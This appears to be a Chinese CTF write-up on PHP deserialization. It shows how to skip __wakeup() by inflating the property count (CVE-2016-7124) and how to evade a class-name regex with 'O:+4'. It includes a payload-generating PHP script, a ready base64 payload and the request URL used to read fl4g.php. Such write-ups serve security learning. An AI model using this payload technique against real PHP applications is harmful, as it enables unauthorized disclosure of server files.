PHP反序列化漏洞利用:绕过__wakeup与正则匹配实战

白榆
白榆
发布时间:2026-10-16| 5人浏览过
原创

在PHP安全测试中,利用反序列化漏洞读取敏感文件是常见场景。面对含有__wakeup()重置逻辑和严格正则匹配的类,攻击者可通过修改序列化字符串中的对象属性数量来绕过检测,并结合特殊字符处理类名格式,成功执行预期代码。

题目环境与源码分析

进入目标界面后,查看页面源代码,发现核心逻辑由一个名为 Demo 的类定义。该类包含三个关键魔术方法,构成了漏洞利用的基础:

  • __construct($file):构造函数。在实例化时自动调用,将传入的参数赋值给私有属性 $file。
  • __destruct():析构函数。对象销毁时调用,使用 highlight_file 函数输出 $file 指向的文件内容。我们的目标是让此函数显示 fl4g.php。
  • __wakeup():唤醒函数。在反序列化开始时自动调用。若检测到 $file 不是 index.php,则将其强制重置为 index.php,从而阻断对目标文件的访问。

防御机制与绕过策略

直接序列化 Demo("fl4g.php") 并提交会被 __wakeup() 拦截。我们需要同时绕过两个限制:__wakeup() 的版本检查逻辑和类名前的正则匹配。

第一步:绕过 __wakeup() 方法

__wakeup() 的触发依赖于反序列化引擎对对象属性的解析。在 PHP 5.x 系列中存在一个已知的特征:__wakeup() 绕过漏洞(CVE-2016-7124)。

原理:当反序列化字符串中表示对象属性个数的值大于实际定义的属性个数时,反序列化过程会中断,导致 __wakeup() 方法不会被执行。

操作:在生成的序列化字符串中,将属性计数从 :1: 修改为 :2:(即大于实际属性数1即可)。注意:该绕过技巧在 PHP 7.1.3 及以上版本中被修复,需确认目标环境版本。

第二步:绕过正则表达式匹配

代码中通常包含类似 /^O:\d+:"/ 的正则规则来验证类名格式。我们可以利用正则的特性进行逃逸。

策略:在对象类型标识 O 和长度数字之间插入非数字字符,例如加号 +。许多宽松的正则或特定写法可能仅匹配 O: 开头,或者我们可以通过构造 O:+4: 使得正则匹配失败或跳过验证,具体取决于原始过滤代码的实现。在此题境下,直接将 O:4 替换为 O:+4 以突破常规校验。

第三步:处理私有变量编码细节

由于 $file 被声明为 private,PHP 序列化时会采用特殊的命名空间编码格式:**PropertyName 或 \0ClassName\0PropertyName(其中 \0 为空字节)。

关键点:手动复制序列化字符串时容易丢失首尾的空字节字符,导致反序列化失败。必须确保保留完整的空字节占位。

Payload 生成与执行

编写 PHP 脚本自动化生成绕过后的 Payload,避免手动编辑产生的格式错误。

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

// 1. 创建对象并指定目标文件
$a = new Demo("fl4g.php");

// 2. 标准序列化
$b = serialize($a); 
echo "Original: " . $b . "<br>";

// 3. 绕过正则:修改 O:4 为 O:+4
echo "After Regex Bypass: ";
$b = str_replace("O:4", "O:+4", $b);

// 4. 绕过 __wakeup:修改属性数 1 为 2
echo "After Wakeup Bypass: ";
$b = str_replace(":1:{", ":2:{", $b);

// 5. 输出 Base64 编码结果用于提交
echo base64_encode($b);
?>

生成的 Payload 经过 Base64 编码后如下:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

将该参数拼接到 URL 请求中:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

服务器接收到请求并进行反序列化,由于属性数目不匹配跳过了 __wakeup(),且正则匹配失效,最终进入 __destruct() 成功高亮显示 fl4g.php 的内容。

注意事项与排错

在进行人工手动构造序列化字符串时,常出现以下问题:

  1. 空字符丢失:私有变量序列化前后包含不可见的空字节(ASCII 0)。如果在浏览器或文本编辑器中直接复制,这些字符往往不可见或被丢弃,导致后续正则匹配或解析出错。

    如图所示,正确的序列化字符串应包含完整的结构,而肉眼看到的普通文本可能会忽略掉中间的控制符。
  2. 字符串长度误差:如图中所示,属性名部分可能因编码差异显得字符数较短,但实际序列化的字节长度需严格对应。务必使用代码生成而非肉眼校对。

此外,需注意 PHP 版本差异。上述 __wakeup() 绕过方法不适用于 PHP 7.1.3+ 版本,在该版本环境下需寻找其他逻辑漏洞点。

总结

本题考察了 PHP 反序列化的深入应用,重点在于理解魔术方法的调用时机以及利用语言特性进行协议层级的绕过。掌握序列化格式的细节(特别是私有变量的编码)以及版本相关的绕过技巧,是解决此类安全CTF题目的关键。以上就是PHP反序列化漏洞__wakeup绕过与正则匹配逃逸的详细解析,更多关于PHP攻防与安全测试的资料请关注本站其它相关文章!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。